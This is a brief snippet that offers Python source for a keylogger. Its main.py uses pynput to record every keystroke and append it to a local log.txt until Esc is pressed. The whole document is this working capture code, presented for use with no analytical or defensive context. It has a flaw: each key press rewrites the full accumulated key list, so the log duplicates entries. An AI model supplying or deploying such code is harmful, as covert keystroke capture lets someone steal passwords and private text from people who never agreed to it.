simple keylogger on pure python wits saving in file in python

main.py
from pynput.keyboard import Key, Listener
import os

keys = []

# method to write keys to a file
def write_file(keys):
    with open(os.getcwd() + "/log.txt", "a") as file:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write('\n')
            elif k.find("Key") == -1:
                file.write(k)

# method to handle events (press, release) of keyboard
def on_press(key):
    print(key, "pressed")
    keys.append(key)
    write_file(keys)

def on_release(key):
    if key == Key.esc:
        return False

# start the listener
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
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